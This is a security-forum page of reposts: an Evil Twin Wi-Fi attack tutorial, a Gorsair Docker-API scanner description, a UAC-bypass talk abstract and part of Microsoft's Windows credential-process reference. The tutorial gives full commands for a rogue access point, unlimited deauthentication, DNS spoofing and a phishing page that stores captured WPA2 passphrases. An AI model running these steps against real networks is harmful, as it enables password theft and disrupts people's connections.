works with lesser complications. Tweet this Evil Twin Attack Guide Prerequisites Below are the following list of hardware and software used in creating this article. Use any hardware of your choice until it supports the softwares you’d be using. Hardware used: A Laptop (4GB RAM, Intel i5 processor) Alfa AWUS036NH 1W wireless adapter Huawei 3G WiFi dongle for Internet connection to the Kali Virtual Machine Software Used VMWare Workstation/Fusion 2019 Kali Linux 2019 (Attacker) Airmon-ng, airodump-ng, airbase-ng, and aireplay-ng DNSmasq Iptables Apache, mysql Firefox web browser on Ubuntu 16.10 (Victim) Installing required tools So far we have aircrack-ng suite of tools, apache, mysql, iptables pre-installed in our Kali Linux virtual machine. We just need to install dnsmasq for IP address allocation to the client. Install dnsmasq in Kali Linux Type in terminal: apt-get update apt-get install dnsmasq -y This will update the cache and install latest version of dhcp server in your Kali Linux box. Now all the required tools are installed. We need to configure apache and the dhcp server so that the access point will allocate IP address to the client/victim and client would be able to access our webpage remotely. Now we will define the IP range and the subnet mask for the dhcp server. Configure dnsmasq Create a configuration file for dnsmasq using vim or your favourite text editor and add the following code. sudo vi ~/Desktop/dnsmasq.conf ~/Desktop/dnsmasq.conf interface=at0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 Save and exit. Use your desired name for .conf file. Pro Tip: Replace at0 with wlan0 everywhere when hostapd is used for creating an access point Parameter Breakdown dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250 and default lease time is 12 hours. dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1 dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address (Optional) Resolve airmon-ng and Network Manager Conflict Before enabling monitor mode on the wireless card let’s fix the airmon-ng and network-manager conflict forever. So that we don’t need to kill the network-manager or disconnect tany network connection before putting wireless adapter into monitor mode as we used to run airmon-ng check kill every time we need to start wifi pentest. Open network manager’s configuration file and put the MAC address of the device you want network-manager to stop managing: vim /etc/NetworkManager/NetworkManager.conf Now add the following at the end of the file [keyfile] unmanaged-devices:mac=AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2 Now that you have edited the NetworkManager.conf file you should have no conflicts with airmon-ng in Kali Linux We are ready to begin now. Put wireless adapter into monitor mode Bring up the wireless interface ifconfig wlan0 up airmon-ng start wlan0 Putting the card in monitor mode will show a similar output Now our card is in monitor mode without any issues with network manager. You can simply start monitoring the air with command airodump-ng wlan0mon As soon your target AP appears in the airodump-ng output window press CTRL+C and note these three things in a text editor: vi info.txt Set tx-power of alfa card to max: 1000mW tx-power stands for transmission power. By default it is set to 20dBm(Decibel metre) or 100mW. tx-power in mW increases 10 times with every 10 dBm. See the dBm to mW table. If your country is set to US while installation. then your card should operate on 30 dBm(1000 mW) ifconfig wlan0mon down iw reg set US ifconfig wlan0mon up iwconfig wlan0mon If you are thinking why we need to change region to operate our card at 1000mW. Here is why because different countries have different legal allowance of Wireless devices at certain power and frequency. That is why Linux distribution have this information built in and you need to change your region to allow yourself to operate at that frequency and power. Motive of powering up the card is that when creating the hotspot you do not have any need to be near to the victim. victim device will automatically connect to the device with higher signal strength even if it isn’t physically near. Start Evil Twin Attack Begin the Evil Twin attack using airbase-ng: airbase-ng -e "rootsh3ll" -c 1 wlan0mon by default airbase-ng creates a tap interface(at0) as the wired interface for bridging/routing the network traffic via the rogue access point. you can see it using ifconfig at0 command. For the at0 to allocate IP address we need to assign an IP range to itself first. Allocate IP and Subnet Mask ifconfig at0 10.0.0.1 up Note: The Class A IP address, 10.0.0.1, matches the dhcp-option parameter of dnsmasq.conf file. Which means at0 will act as the default gateway under dnsmasq Now we will use our default Internet facing interface, eth0, to route all the traffic from the client through it. In other words, allowing victim to access the internet and allowing ourselves(attacker) to sniff that traffic. For that we will use iptables utility to set a firewall rule to route all the traffic through at0 exclusively. You will get a similar output, if using VM Enable NAT by setting Firewall rules in iptables Enter the following commands to set-up an actual NAT: iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE Make sure you enter correct interface for –out-interface. eth0 here is the upstream interface where we want to send out packets, coming from at0 interface(rogue AP). Rest is fine. After entering the above command if you are willing to provide Internet access to the victim just enable routing using the command below Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward Entering “1” in the ip_forward file will tell the system to enable the rules defined in the IPtables and start forwarding traffic(if any). 0 stand for disable. Although rules will remain defined until next reboot. We will put it 0 for this attack, as we are not providing internet access before we get the WPA password. Our Evil Twin attack is now ready and rules has been enabled, now we will start the dhcp server to allow fake AP to allocate IP address to the clients. First we need to tell dhcp server the location of the file we created earlier, which defines IP class, subnet mask and range of the network. Start dhcpd Listener Type in terminal: dnsmasq -C ~/Desktop/dnsmasq.conf -d Here -C stands for Configuration file and -d stands for daemon mode as soon as victim connects you should see similar output for dnsmasq Terminal window [ dnsmasq ] dnsmasq: started, version 2.76 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.250, lease time 12h dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 192.168.74.2#53 dnsmasq: read /etc/hosts - 5 addresses dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 dnsmasq-dhcp: 1673205542 client provides name: rootsh3ll-iPhone dnsmasq-dhcp: 1673205542 DHCPDISCOVER(at0) 2c:33:61:3d:c4:2e dnsmasq-dhcp: 1673205542 tags: at0 dnsmasq-dhcp: 1673205542 DHCPOFFER(at0) 10.0.0.247 2c:33:61:3a:c4:2f dnsmasq-dhcp: 1673205542 requested options: 1:netmask, 121:classless-static-route, 3:router, <-----------------------------------------SNIP-----------------------------------------> dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 In case you are facing any issue regarding dhcp server, just kill the curently running dhcp processes killall dnsmasq dhcpd isc-dhcp-server and run dnsmasq again. It should work now. Start the Services Now start the dhcp server, apache and mysql inline /etc/init.d/apache2 start /etc/init.d/mysql start We have our Evil Twin attack vector up and working perfectly. Now we need to setup our fake webpage in action so that victim will see the webpage while browsing and enter the passphrase which s/he uses for his/her access point. Download Rogue AP Configuration Files wget https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip and simply enter the following command in Terminal unzip rogue_AP.zip -d /var/www/html/ This command will extract the contents of rogue_AP.zip file and copy them to the apache’s html directory so that when the victim opens the browser s/he will automatically be redirected to the default index.html webpage. Now to store the credentials entered by the victim in the html page, we need an SQL database. you will see a dbconnect.php file for that, but to be in effect you need a database created already so that the dbconnect.php will reflect the changes in the DB. Open terminal and type: mysql -u root -p Create a new user fakeap and password fakeap As you cannot execute MySQL queries from PHP being a root user since version 5.7 create user fakeap@localhost identified by 'fakeap'; now create database and table as defined in the dbconnect.php create database rogue_AP; use rogue_AP; create table wpa_keys(password1 varchar(32), password2 varchar(32)); It should go like this: Grant fakeap all the permissions on rogue_AP Database: grant all privileges on rogue_AP.* to 'fakeap'@'localhost'; Exit and log in using new user mysql -u fakeap -p Select rogue_AP database use rogue_AP; Insert a test value in the table insert into wpa_keys(password1, password2) values ("testpass", "testpass"); select * from wpa_keys; Note that both the values are same here, that means password and confirmation password should be the same. Our attack is now ready just wait for the client to connect and see the credential coming. In some cases your client might already be connected to the original AP. You need to disconnect the client as we did in the previous chapters using aireplay-ng utility. Syntax: aireplay-ng --deauth 0 -a <BSSID> <Interface> aireplay-ng --deauth 0 -a FC:DD:55:08:4F:C2 wlan0mon --deauth 0: Unlimited de-authentication requests. Limit the request by entering natural numbers. We are using 0 so that every client will disconnect from that specific BSSID and connect to our AP as it is of the same name as of real AP and also open type access point. As soon a client connects to your AP you will see an activity in the airbase-ng terminal window like this Now to simulate the client side I am using Ubuntu machine connected via WiFi and using a Firefox web browser to illustrate the attack. Victim can now access the Internet. You can do 2 things at this staged: Sniff the client traffic Redirect all the traffic to the fake AP page and that’s what we wanna do. Redirect the client to our fake AP page. Just run this command: dnsspoof -i at0 It will redirect all HTTP traffic coming from the at0 interface. Not HTTPS traffic, due to the built in list of HSTS web sites. You can’t redirect HTPS traffic without getting an SSL/TLS error on the victim’s machine. When victim tries to access any website(google.com in this case), s/he will see this page which tell the victim to enter the password to download and upgrade the firmware Here i am entering “iamrootsh3ll” as the password that I (Victim) think is his/her AP’s password. As soon as the victim presses [ENTER] s/he will see this Now coming back to attacker side. You need to check in the mySQL database for the stored passwords. Just type the previously used command in the mySQL terminal window and see whether a new update is there or not. After simulating I checked the mySQL DB and here is the output Voila! you have successfully harvested the WPA2 passphrase, right from the victim, in plain text. Now close all the terminal windows and connect back to the real AP to check whether the password is correct or victim was him/herself was a hacker and tricked you! Although you don’t need to name any AP similar to an existing AP you can also create a random free open WiFi type name to gather the client on your AP and start pentesting. Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Want to go even deeper? If you are serious about WiFi Penetration Testing and Security, I have something for you. WiFi Hacking in the Cloud Video Course. Which will take you from a complete beginner to a full blown blue teamer who can not only pentest a WiFi network but can also detect rogue devices on a network, detect network anomalies, perform threat detection on multiple networks at once, create email reports, visual dashboard for easier understanding, incident handling and respond to the Security Operations Center. Apart from that, USP of the course? WiFi Hacking without a WiFi card – A.K.A The Cloud Labs The cloud labs allows you to simply log into your Kali machine and start sniffing WiFi traffic. perform low and high level WiFi attacks, learn all about WiFi security, completely on your lab. WiFi Hacking Without a WiFi Card – Proof of Concept Labs can be accessed in 2 ways 1. Via Browser – Just use your login link and password associated 2. Via SSH -If you want even faster and latency free experience. Here’s a screenshot of the GUI lab running in Chrome browser (Note the URL, it’s running on Amazon AWS cloud): Click here to learn all about the WiFi Security Video Course. Order now for a discount Keep Learning… Sursa: https://rootsh3ll.com/evil-twin-attack/
-
- 3
-
-
-
-
Gorsair Gorsair is a penetration testing tool for discovering and remotely accessing Docker APIs from vulnerable Docker containers. Once it has access to the docker daemon, you can use Gorsair to directly execute commands on remote containers. Exposing the docker API on the internet is a tremendous risk, as it can let malicious agents get information on all of the other containers, images and system, as well as potentially getting privileged access to the whole system if the image uses the root user. Command line options -t, --targets: Set targets according to the nmap target format. Required. Example: --targets="192.168.1.72,192.168.1.74" -p, --ports: (Default: 2375,2376) Set custom ports. -s, --speed: (Default: 4) Set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. You might also want to keep it low to keep your discovery stealthy. See this for more info on the nmap timing templates. -v, --verbose: Enable more verbose logs. -D, --decoys: List of decoy IP addresses to use (see the decoy section of the nmap documentation) -e, --interface: Network interface to use --proxies: List of HTTP/SOCKS4 proxies to use to deplay connections with (see documentation) -S, --spoof-ip: IP address to use for IP spoofing --spoof-mac: MAC address to use for MAC spoofing -v, --verbose: Enable verbose logging -h, --help: Display the usage information How can I protect my containers from this attack Avoid putting containers that have access to the docker socket on the internet Avoid using the root account in docker containers Sursa: https://github.com/Ullaakut/Gorsair
-
- 2
-
-
ZeroNights Publicat pe 19 ian. 2018 UAC, specifically Admin-Approval mode, has been known to be broken ever since it was first released in Windows Vista. Most of the research of bypassing UAC has focused on abusing bad elevated application behavior, auto elevation or shared registry and file resources. However, UAC was fundamentally broken from day one due to the way Microsoft implemented the security around elevated processes, especially their access tokens. This presentation will go into depth on why this technique works, allowing you to silently gain administrator privileges if a single elevated application is running. It will describe how Microsoft tried to fix it in Windows 10, and how you can circumvent their defences. It will also go into detail on a previously undocumented technique to abuse the assumed, more secure, Over-The-Shoulder elevation on Windows 10. Slides - https://2017.zeronights.org/wp-conten...
-
Credentials Processes in Windows Authentication 10/12/2016 26 minutes to read Contributors Applies To: Windows Server (Semi-Annual Channel), Windows Server 2016 This reference topic for the IT professional describes how Windows authentication processes credentials. Windows credentials management is the process by which the operating system receives the credentials from the service or user and secures that information for future presentation to the authenticating target. In the case of a domain-joined computer, the authenticating target is the domain controller. The credentials used in authentication are digital documents that associate the user's identity to some form of proof of authenticity, such as a certificate, a password, or a PIN. By default, Windows credentials are validated against the Security Accounts Manager (SAM) database on the local computer, or against Active Directory on a domain-joined computer, through the Winlogon service. Credentials are collected through user input on the logon user interface or programmatically via the application programming interface (API) to be presented to the authenticating target. Local security information is stored in the registry under HKEY_LOCAL_MACHINE\SECURITY. Stored information includes policy settings, default security values, and account information, such as cached logon credentials. A copy of the SAM database is also stored here, although it is write-protected. The following diagram shows the components that are required and the paths that credentials take through the system to authenticate the user or process for a successful logon. The following table describes each component that manages credentials in the authentication process at the point of logon. Authentication components for all systems Component Description User logon Winlogon.exe is the executable file responsible for managing secure user interactions. The Winlogon service initiates the logon process for Windows operating systems by passing the credentials collected by user action on the secure desktop (Logon UI) to the Local Security Authority (LSA) through Secur32.dll. Application logon Application or service logons that do not require interactive logon. Most processes initiated by the user run in user mode by using Secur32.dll whereas processes initiated at startup, such as services, run in kernel mode by using Ksecdd.sys. For more information about user mode and kernel mode, see Applications and User Mode or Services and Kernel Mode in this topic. Secur32.dll The multiple authentication providers that form the foundation of the authentication process. Lsasrv.dll The LSA Server service, which both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful. Security Support Providers A set of providers that can individually invoke one or more authentication protocols. The default set of providers can change with each version of the Windows operating system, and custom providers can be written. Netlogon.dll The services that the Net Logon service performs are as follows: - Maintains the computer's secure channel (not to be confused with Schannel) to a domain controller. - Passes the user's credentials through a secure channel to the domain controller and returns the domain security identifiers (SIDs) and user rights for the user. - Publishes service resource records in the Domain Name System (DNS) and uses DNS to resolve names to the Internet Protocol (IP) addresses of domain controllers. - Implements the replication protocol based on remote procedure call (RPC) for synchronizing primary domain controllers (PDCs) and backup domain controllers (BDCs). Samsrv.dll The Security Accounts Manager (SAM), which stores local security accounts, enforces locally stored policies and supports APIs. Registry The Registry contains a copy of the SAM database, local security policy settings, default security values, and account information that is only accessible to the system. This topic contains the following sections: Credential input for user logon Credential input for application and service logon Local Security Authority Cached credentials and validation Credential storage and validation Security Accounts Manager database Local domains and trusted domains Certificates in Windows authentication Credential input for user logon In Windows Server 2008 and Windows Vista, the Graphical Identification and Authentication (GINA) architecture was replaced with a credential provider model, which made it possible to enumerate different logon types through the use of logon tiles. Both models are described below. Graphical Identification and Authentication architecture The Graphical Identification and Authentication (GINA) architecture applies to the Windows Server 2003, Microsoft Windows 2000 Server, Windows XP, and Windows 2000 Professional operating systems. In these systems, every interactive logon session creates a separate instance of the Winlogon service. The GINA architecture is loaded into the process space used by Winlogon, receives and processes the credentials, and makes the calls to the authentication interfaces through LSALogonUser. The instances of Winlogon for an interactive logon run in Session 0. Session 0 hosts system services and other critical processes, including the Local Security Authority (LSA) process. The following diagram shows the credential process for Windows Server 2003, Microsoft Windows 2000 Server, Windows XP, and Microsoft Windows 2000 Professional. Credential provider architecture The credential provider architecture applies to those versions designated in the Applies To list at the beginning of this topic. In these systems, the credentials input architecture changed to an extensible design by using credential providers. These providers are represented by the different logon tiles on the secure desktop that permit any number of logon scenarios - different accounts for the same user and different authentication methods, such as password, smart card, and biometrics. With the credential provider architecture, Winlogon always starts Logon UI after it receives a secure attention sequence event. Logon UI queries each credential provider for the number of different credential types the provider is configured to enumerate. Credential providers have the option of specifying one of these tiles as the default. After all providers have enumerated their tiles, Logon UI displays them to the user. The user interacts with a tile to supply their credentials. Logon UI submits these credentials for authentication. Credential providers are not enforcement mechanisms. They are used to gather and serialize credentials. The Local Security Authority and authentication packages enforce security. Credential providers are registered on the computer and are responsible for the following: Describing the credential information required for authentication. Handling communication and logic with external authentication authorities. Packaging credentials for interactive and network logon. Packaging credentials for interactive and network logon includes the process of serialization. By serializing credentials multiple logon tiles can be displayed on the logon UI. Therefore, your organization can control the logon display such as users, target systems for logon, pre-logon access to the network and workstation lock/unlock policies - through the use of customized credential providers. Multiple credential providers can co-exist on the same computer. Single sign-on (SSO) providers can be developed as a standard credential provider or as a Pre-Logon-Access Provider. Each version of Windows contains one default credential provider and one default Pre-Logon-Access Provider (PLAP), also known as the SSO provider. The SSO provider permits users to make a connection to a network before logging on to the local computer. When this provider is implemented, the provider does not enumerate tiles on Logon UI. A SSO provider is intended to be used in the following scenarios: Network authentication and computer logon are handled by different credential providers. Variations to this scenario include: A user has the option of connecting to a network, such as connecting to a virtual private network (VPN), before logging on to the computer but is not required to make this connection. Network authentication is required to retrieve information used during interactive authentication on the local computer. Multiple network authentications are followed by one of the other scenarios. For example, a user authenticates to an Internet service provider (ISP), authenticates to a VPN, and then uses their user account credentials to log on locally. Cached credentials are disabled, and a Remote Access Services connection through VPN is required before local logon to authenticate the user. A domain user does not have a local account set up on a domain-joined computer and must establish a Remote Access Services connection through VPN connection before completing interactive logon. Network authentication and computer logon are handled by the same credential provider. In this scenario, the user is required to connect to the network before logging on to the computer. Logon tile enumeration The credential provider enumerates logon tiles in the following instances: For those operating systems designated in the Applies to list at the beginning of this topic. The credential provider enumerates the tiles for workstation logon. The credential provider typically serializes credentials for authentication to the local security authority. This process displays tiles specific for each user and specific to each user's target systems. The logon and authentication architecture lets a user use tiles enumerated by the credential provider to unlock a workstation. Typically, the currently logged-on user is the default tile, but if more than one user is logged on, numerous tiles are displayed. The credential provider enumerates tiles in response to a user request to change their password or other private information, such as a PIN. Typically, the currently logged-on user is the default tile; however, if more than one user is logged on, numerous tiles are displayed. The credential provider enumerates tiles based on the serialized credentials to be used for authentication on remote computers. Credential UI does not use the same instance of the provider as the Logon UI, Unlock Workstation, or Change Password. Therefore, state information cannot be maintained in the provider between instances of Credential UI. This structure results in one tile for each remote computer logon, assuming the credentials have been correctly serialized. This scenario is also used in User Account Control (UAC), which can help prevent unauthorized changes to a computer by prompting the user for permission or an administrator password before permitting actions that could potentially affect the computer's operation or that could change settings that affect other users of the computer. The following diagram shows the credential process for the operating systems designated in the Applies To list at the beginning of this topic. Credential input for application and service logon Windows authentication is designed to manage credentials for applications or services that do not require user interaction. Applications in user mode are limited in terms of what system resources they have access to, while services can have unrestricted access to the system memory and external devices. System services and transport-level applications access an Security Support Provider (SSP) through the Security Support Provider Interface (SSPI) in Windows, which provides functions for enumerating the security packages available on a system, selecting a package, and using that package to obtain an authenticated connection. When a client/server connection is authenticated: The application on the client side of the connection sends credentials to the server by using the SSPI function InitializeSecurityContext (General). The application on the server side of the connection responds with the SSPI function AcceptSecurityContext (General). The SSPI functions InitializeSecurityContext (General) and AcceptSecurityContext (General) are repeated until all the necessary authentication messages have been exchanged to either succeed or fail authentication. After the connection has been authenticated, the LSA on the server uses information from the client to build the security context, which contains an access token. The server can then call the SSPI function ImpersonateSecurityContext to attach the access token to an impersonation thread for the service. Applications and user mode User mode in Windows is composed of two systems capable of passing I/O requests to the appropriate kernel-mode drivers: the environment system, which runs applications written for many different types of operating systems, and the integral system, which operates system-specific functions on behalf of the environment system. The integral system manages operating system'specific functions on behalf of the environment system and consists of a security system process (the LSA), a workstation service, and a server service. The security system process deals with security tokens, grants or denies permissions to access user accounts based on resource permissions, handles logon requests and initiates logon authentication, and determines which system resources the operating system needs to audit. Applications can run in user mode where the application can run as any principal, including in the security context of Local System (SYSTEM). Applications can also run in kernel mode where the application can run in the security context of Local System (SYSTEM). SSPI is available through the Secur32.dll module, which is an API used for obtaining integrated security services for authentication, message integrity, and message privacy. It provides an abstraction layer between application-level protocols and security protocols. Because different applications require different ways of identifying or authenticating users and different ways of encrypting data as it travels across a network, SSPI provides a way to access dynamic-link libraries (DLLs) that contain different authentication and cryptographic functions. These DLLs are called Security Support Providers (SSPs). Managed service accounts and virtual accounts were introduced in Windows Server 2008 R2 and Windows 7 to provide crucial applications, such as Microsoft SQL Server and Internet Information Services (IIS), with the isolation of their own domain accounts, while eliminating the need for an administrator to manually administer the service principal name (SPN) and credentials for these accounts. For more information about these features and their role in authentication, see Managed Service Accounts Documentation for Windows 7 and Windows Server 2008 R2 and Group Managed Service Accounts Overview. Services and kernel mode Even though most Windows applications run in the security context of the user who starts them, this is not true of services. Many Windows services, such as network and printing services, are started by the service controller when the user starts the computer. These services might run as Local Service or Local System and might continue to run after the last human user logs off. Note Services normally run in security contexts known as Local System (SYSTEM), Network Service, or Local Service. Windows Server 2008 R2 introduced services that run under a managed service account, which are domain principals. Before starting a service, the service controller logs on by using the account that is designated for the service, and then presents the service's credentials for authentication by the LSA. The Windows service implements a programmatic interface that the service controller manager can use to control the service. A Windows service can be started automatically when the system is started or manually with a service control program. For example, when a Windows client computer joins a domain, the messenger service on the computer connects to a domain controller and opens a secure channel to it. To obtain an authenticated connection, the service must have credentials that the remote computer's Local Security Authority (LSA) trusts. When communicating with other computers in the network, LSA uses the credentials for the local computer's domain account, as do all other services running in the security context of the Local System and Network Service. Services on the local computer run as SYSTEM so credentials do not need to be presented to the LSA. The file Ksecdd.sys manages and encrypts these credentials and uses a local procedure call into the LSA. The file type is DRV (driver) and is known as the kernel-mode Security Support Provider (SSP) and, in those versions designated in the Applies To list at the beginning of this topic, is FIPS 140-2 Level 1-compliant. Kernel mode has full access to the hardware and system resources of the computer. The kernel mode stops user-mode services and applications from accessing critical areas of the operating system that they should not have access to. Local Security Authority The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. In addition, LSA maintains information about all aspects of local security on a computer (these aspects are collectively known as the local security policy), and it provides various services for translation between names and security identifiers (SIDs). The security system process, Local Security Authority Server Service (LSASS), keeps track of the security policies and the accounts that are in effect on a computer system. The LSA validates a user's identity based on which of the following two entities issued the user's account: Local Security Authority. The LSA can validate user information by checking the Security Accounts Manager (SAM) database located on the same computer. Any workstation or member server can store local user accounts and information about local groups. However, these accounts can be used for accessing only that workstation or computer. Security authority for the local domain or for a trusted domain. The LSA contacts the entity that issued the account and requests verification that the account is valid and that the request originated from the account holder. The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering their credentials for each remote service. LSASS can store credentials in multiple forms, including: Reversibly encrypted plaintext Kerberos tickets (ticket-granting tickets (TGTs), service tickets) NT hash LAN Manager (LM) hash If the user logs on to Windows by using a smart card, LSASS does not store a plaintext password, but it stores the corresponding NT hash value for the account and the plaintext PIN for the smart card. If the account attribute is enabled for a smart card that is required for interactive logon, a random NT hash value is automatically generated for the account instead of the original password hash. The password hash that is automatically generated when the attribute is set does not change. If a user logs on to a Windows-based computer with a password that is compatible with LAN Manager (LM) hashes, this authenticator is present in memory. The storage of plaintext credentials in memory cannot be disabled, even if the credential providers that require them are disabled. The stored credentials are directly associated with the Local Security Authority Subsystem Service (LSASS) logon sessions that have been started after the last restart and have not been closed. For example, LSA sessions with stored LSA credentials are created when a user does any of the following: Logs on to a local session or Remote Desktop Protocol (RDP) session on the computer Runs a task by using the RunAs option Runs an active Windows service on the computer Runs a scheduled task or batch job Runs a task on the local computer by using a remote administration tool In some circumstances, the LSA secrets, which are secret pieces of data that are accessible only to SYSTEM account processes, are stored on the hard disk drive. Some of these secrets are credentials that must persist after reboot, and they are stored in encrypted form on the hard disk drive. Credentials stored as LSA secrets might include: Account password for the computer's Active Directory Domain Services (AD DS) account Account passwords for Windows services that are configured on the computer Account passwords for configured scheduled tasks Account passwords for IIS application pools and websites Passwords for Microsoft accounts Introduced in Windows 8.1, the client operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This protection increases security for the credentials that the LSA stores and manages. For more information about these additional protections, see Configuring Additional LSA Protection. Cached credentials and validation Validation mechanisms rely on the presentation of credentials at the time of logon. However, when the computer is disconnected from a domain controller, and the user is presenting domain credentials, Windows uses the process of cached credentials in the validation mechanism. Each time a user logs on to a domain, Windows caches the credentials supplied and stores them in the security hive in the registry of the operation system. With cached credentials, the user can log on to a domain member without being connected to a domain controller within that domain. Credential storage and validation It is not always desirable to use one set of credentials for access to different resources. For example, an administrator might want to use administrative rather than user credentials when accessing a remote server. Similarly, if a user accesses external resources, such as a bank account, he or she can only use credentials that are different than their domain credentials. The following sections describe the differences in credential management between current versions of Windows operating systems and the Windows Vista and Windows XP operating systems. Remote logon credential processes The Remote Desktop Protocol (RDP) manages the credentials of the user who connects to a remote computer by using the Remote Desktop Client, which was introduced in Windows 8. The credentials in plaintext form are sent to the target host where the host attempts to perform the authentication process, and, if successful, connects the user to allowed resources. RDP does not store the credentials on the client, but the user's domain credentials are stored in the LSASS. Introduced in Windows Server 2012 R2 and Windows 8.1, Restricted Admin mode provides additional security to remote logon scenarios. This mode of Remote Desktop causes the client application to perform a network logon challenge-response with the NT one-way function (NTOWF) or use a Kerberos service ticket when authenticating to the remote host. After the administrator is authenticated, the administrator does not have the respective account credentials in LSASS because they were not supplied to the remote host. Instead, the administrator has the computer account credentials for the session. Administrator credentials are not supplied to the remote host, so actions are performed as the computer account. Resources are also limited to the computer account, and the administrator cannot access resources with his own account. Automatic restart sign-on credential process When a user signs in on a Windows 8.1 device, LSA saves the user credentials in encrypted memory that are accessible only by LSASS.exe. When Windows Update initiates an automatic restart without user presence, these credentials are used to configure Autologon for the user. On restart, the user is automatically signed in via the Autologon mechanism, and then the computer is additionally locked to protect the user's session. The locking is initiated through Winlogon whereas the credential management is done by LSA. By automatically signing in and locking the user's session on the console, the user's lock screen applications is restarted and available. For more information about ARSO, see Winlogon Automatic Restart Sign-On (ARSO). Stored user names and passwords in Windows Vista and Windows XP In Windows Server 2008 , Windows Server 2003, Windows Vista, and Windows XP, Stored User Names and Passwords in Control Panel simplifies the management and use of multiple sets of logon credentials, including X.509 certificates used with smart cards and Windows Live credentials (now called Microsoft account). The credentials - part of the user's profile - are stored until needed. This action can increase security on a per-resource basis by ensuring that if one password is compromised, it does not compromise all security. After a user logs on and attempts to access additional password-protected resources, such as a share on a server, and if the user's default logon credentials are not sufficient to gain access, Stored User Names and Passwords is queried. If alternate credentials with the correct logon information have been saved in Stored User Names and Passwords, these credentials are used to gain access. Otherwise, the user is prompted to supply new credentials, which can then be saved for reuse, either later in the logon session or during a subsequent session. The following restrictions apply: If Stored User Names and Passwords contains invalid or incorrect credentials for a specific resource, access to the resource is denied, and the Stored User Names and Passwords dialog box does not appear. Stored User Names and Passwords stores credentials only for NTLM, Kerberos protocol, Microsoft account (formerly Windows Live ID), and Secure Sockets Layer (SSL) authentication. Some versions of Internet Explorer maintain their own cache for basic authentication. These credentials become an encrypted part of a user's local profile in the \Documents and Settings\Username\Application Data\Microsoft\Credentials directory. As a result, these credentials can roam with the user if the user's network policy supports Roaming User Profiles. However, if the user has copies of Stored User Names and Passwords on two different computers and changes the credentials that are associated with the resource on one of these computers, the change is not propagated to Stored User Names and Passwords on the second computer. Windows Vault and Credential Manager Credential Manager was introduced in Windows Server 2008 R2 and Windows 7 as a Control Panel feature to store and manage user names and passwords. Credential Manager lets users store credentials relevant to other systems and websites in the secure Windows Vault. Some versions of Internet Explorer use this feature for authentication to websites. Credential management by using Credential Manager is controlled by the user on the local computer. Users can save and store credentials from supported browsers and Windows applications to make it convenient when they need to sign in to these resources. Credentials are saved in special encrypted folders on the computer under the user's profile. Applications that support this feature (through the use of the Credential Manager APIs), such as web browsers and apps, can present the correct credentials to other computers and websites during the logon process. When a website, an application, or another computer requests authentication through NTLM or the Kerberos protocol, a dialog box appears in which you select the Update Default Credentials or Save Password check box. This dialog box that lets a user save credentials locally is generated by an application that supports the Credential Manager APIs. If the user selects the Save Password check box, Credential Manager keeps track of the user's user name, password, and related information for the authentication service that is in use. The next time the service is used, Credential Manager automatically supplies the credential that is stored in the Windows Vault. If it is not accepted, the user is prompted for the correct access information. If access is granted with the new credentials, Credential Manager overwrites the previous credential with the new one and then stores the new credential in the Windows Vault. Security Accounts Manager database The Security Accounts Manager (SAM) is a database that stores local user accounts and groups. It is present in every Windows operating system; however, when a computer is joined to a domain, Active Directory manages domain accounts in Active Directory domains. For example, client computers running a Windows operating system participate in a network domain by communicating with a domain controller even when no human user is logged on. To initiate communications, the computer must have an active account in the domain. Before accepting communications from the computer, the LSA on the domain controller authenticates the computer's identity and then constructs the computer's security context just as it does for a human security principal. This security context defines the identity and capabilities of a user or service on a particular computer or a user, service, or computer on a network. For example, the access token contained within the security context defines the resources (such as a file share or printer) that can be accessed and the actions (such as Read, Write, or Modify) that can be performed by that principal - a user, computer, or service on that resource. The security context of a user or computer can vary from one computer to another, such as when a user logs on to a server or a workstation other than the user's own primary workstation. It can also vary from one session to another, such as when an administrator modifies the user's rights and permissions. In addition, the security context is usually different when a user or computer is operating on a stand-alone basis, in a network, or as part of an Active Directory domain. Local domains and trusted domains When a trust exists between two domains, the authentication mechanisms for each domain rely on the validity of the authentications coming from the other domain. Trusts help to provide controlled access to shared resources in a resource domain (the trusting domain) by verifying that incoming authentication requests come from a trusted authority (the trusted domain). In this way, trusts act as bridges that let only validated authentication requests travel between domains. How a specific trust passes authentication requests depends on how it is configured. Trust relationships can be one-way, by providing access from the trusted domain to resources in the trusting domain, or two-way, by providing access from each domain to resources in the other domain. Trusts are also either nontransitive, in which case a trust exists only between the two trust partner domains, or transitive, in which case a trust automatically extends to any other domains that either of the partners trusts. For information about domain and forest trust relationships regarding authentication, see Delegated Authentication and Trust Relationships. Certificates in Windows authentication A public key infrastructure (PKI) is the combination of software, encryption technologies, 